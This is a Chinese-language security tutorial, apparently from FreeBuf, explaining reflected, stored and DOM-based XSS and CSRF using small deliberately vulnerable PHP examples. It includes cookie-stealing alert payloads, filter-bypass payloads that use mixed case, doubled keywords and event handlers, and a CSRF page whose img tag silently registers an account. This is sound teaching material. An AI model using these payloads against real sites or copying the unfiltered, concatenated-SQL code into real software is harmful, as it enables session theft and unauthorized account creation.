hehehe111
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9

前言
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。CSRF跨站点请求伪造,跟XSS攻击一样,存在巨大的危害性
xss漏洞
跨站脚本攻击(XSS),是最普遍的Web应用安全漏洞。. 这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的执行,从而达到恶意攻击用户的目的。
xss漏洞分为 反射型 存储型 dom型
反射型xss
射型xss每次触发只能手动输入和点击才能触发,我认为xss产生的原因主要是对html标签审查不严格造成的。
反射型xs源代码分析
<?php
setcookie("username","admin");
require 'db.php';
header('Content-type:text/html;charset=utf8');
$id=$_GET['id'];
if($_GET['id']) {
echo "$id" ;
}
?>
代码很简短只是为了体现xss漏洞的存在,用get方式获取了客户端的输入值以后直接又输出回去。没有做任何过滤。
注入尝试
构造的注入语句<script>alert(document.cookie)</script>注入成功获取到cookie值。反射型xss是存在客户端上的并且只能自己看见所以危害比较小,一些src都是拒绝收录的,通常用来获取cookie值。
存储型xss
存储型XSS是一种将恶意代码保存到服务器端的攻击方式,每当有用户访问包含恶意代码的页面时,就会触发代码的执行,从而达到攻击目的。存储型与反射的区别在于,存储型会把我们写的xss代码写进数据库里其他用户登录界面也会看见我们写的注入xss。
存储型xss源代码分析
<?php session_start(); require 'db.php'; header('Content-type:text/html;charset=utf8'); if(true){ $sql1="select * from ly"; $dt=mysqli_query($db,$sql1); $dd=mysqli_fetch_all($dt); foreach ($dd as $link){ echo $link[0].'<br>'; } } if($_POST['ly']){ $name=$_SESSION['username']; $ly=$_POST['ly']; $sql="INSERT INTO ly (ly,name) VALUES ('$ly',$name)"; $ab=mysqli_query($db,$sql); if(!$ab) { echo "留言失败"; } else{ echo "留言成功".$ly; } } ?>
代码先开启了session,然后进入了始终会执行的if语句,if语句里为$sql1赋入sql语句调用执行,并且用foreach依次输出最后的返回值,我们现在还不知道这段代码输出了什么,继续往下看。下面的代码首先用if语句判定前端是是否有提交,有的话把提交的留言传入$ly变量(这下知道上面的代码是依次输出了数据库中所有的留言),接下来就是插入数据的sql语句调执行并且判定是否成功。总结一下代码的内容,接受传入数据库然后再输出回来没有任何过滤。
存储型注入分析
先去试试留言系统
直接输出了留言。那我们尝试注入语句<script>alert(/qwe/)</script>
注入成功
使用其他账号登录这个页面还是能看见弹窗。
dom型xss
dom型xss注入其实和反射型注入区别不大,只是反射型xss数据是经过后台php代码,而dom型xss是标准的前端漏洞是,前端代码script造成的。
源代码分析
<?php $name=$_POST["name"]; ?> <input id="text" type="text" value="<?php echo $name; ?>"/> <div id="print"></div> <script type="text/javascript"> var text=document.getElementById("text"); var print=document.getElementById("print"); print.innerHTML=text.value; </script>
先看一下代码,获取post[’name‘]参数,用户输入参数传入变量name中。然后把变量值传入inout,接着创建id为print的容器,把text文本框和print容器分别设置为变量text与print。最后在print里输出text。
dom型xss注入分析
可以看到还是没有做任何过滤。我们输入的数据是在文本框里显示的所以我们需要使用<img src=1 onerror=alert(/123/)>的格式来注入。
尝试注入
可以看到注入成功。
xss过滤以及绕过
大小写绕过
关键字过滤以后和sql注入一样我们可使用大小写混写关键字来绕过。
function dl($gl){
$gl=str_replace(array("script","SCRIPT"),"","$gl");
$gl=str_replace(array("alert","ALERT"),"","$gl");
return $gl;
}
大小写绕过语句 <scripT>aLERT(/123/)</scripT>
双写绕过
关键字被过滤以后还可以使用双写来绕过
$gl="/script|onerror|alert/i";
if(preg_match("$gl","$username&&$password")){
echo "<script>alert('存在危险字符')</script>";
}
双写关键字绕过语句 <scrscriptipt>alalertert(/123/)</scrscriptipt>
img绕过
通过错误的图片触发xss
<img src="x" onerror=alert(1)> <img src="1" onerror=eval("alert('xss')")>
input绕过
按下按键时会触发
<input type="text" onkeydown="alert(1)">
松开按键时会触发
<input type="text" onkeyup="alert(1)">
利用link远程包含文件
<link rel=import href="http://127.0.0.1/1.js">
总之xss的绕过姿势非常多,有兴趣的小伙伴可以下来自己研究。
csrf漏洞
csrf是一种对网站的恶意利用,虽然他听起来和xss很相似,但其实他们的区别非常大,XSS利用网站内的信任用户,而CSRF则通过伪装成受信任的用户来请求利用受信任的网站。与xss攻击相比,CSRF攻击往往不大流行也更难以防御,所以比xss更有危险性。
csrf源代码分析
1.php
<?php
session_start();
require 'db.php';
header('Content-type:text/html;charset=utf8');
$username=$_POST['username'];
$password=$_POST['password'];
$gl="/and|or|not|xor/i";
if(preg_match("$gl","$username&&$password")){
echo "<script>alert('存在危险字符')</script>";
}
$sql="SELECT * FROM xs where username='$username' and password='$password'";
$result=mysqli_query($db,$sql);
$row = mysqli_fetch_assoc($result);
if($_POST['login']){
if($row){
if($_SESSION['username']=$_POST['username']) {
header('refresh:0;url=login.html');
}
}else{
echo"登录失败";
}
}
?>
2.php
<?php
session_start();
require 'db.php';
header('Content-type:text/html;charset=utf8');
if($_GET['zhuce']){
$nuse=$_GET['nusername'];
$npas=$_GET['npassword'];
$pd=$_SESSION['username'];
if($pd=='admin'){
$sql="INSERT INTO xs (username,password,id) VALUES ('$nuse','$npas',2)";
$ab=mysqli_query($db,$sql);
if($ab){
echo "插入成功";
}
}else {
echo "你不是管理用户无法注册";
}
}
?>
login.html
<html> <head> <title>php代码审计</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> </head> <body> <a href=2.php><h1>注册账号</h1></a> <a href=4.php><h1>有注入代码的留言界面</h1></a>> </body></html>
1.php是登录页面。2.php是我们需要欺骗的目标页面,功能是注册新的账户,login.html是一个过度页面。1.php登录成功以后把账号设置为session,并且跳转到login.html界面。2.php从html上获取了三个参数,分别是判定是否有提交的zhuce、账户nusername、密码npassword。然后判定用户是否是admin,返回成功执行数据插入sql语句。 login.html页面用来跳转。
我们想csrf成功的话那么需要让admin用户登录完成获取session以后,去点击我们构造的csrf语句的网页。
csrf实施
4.php
<html> <head lang="en"> <meta charset="UTF-8"> <title>csrf</title> </head> <body> <img src="2.php?nusername=iop&npassword=iop&zhuce=zhuce"> </body> </html>
这是我们的攻击网页,他用图片的形式,只要admin打开这个网页那么就会向2.php发送一个nusername=iop&npassword=iop&zhuce=zhuce的请求,建立账号iop、密码iop的用户。需要注意的是我们伪装的参数是php代码从get方式也就是html页面获取的参数,不是php里的变量。
登录admin账户
登录成功,点击有注入代码的留言界面
执行这个网页执行成功去数据库查看
账号和密码都已经创建成功。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)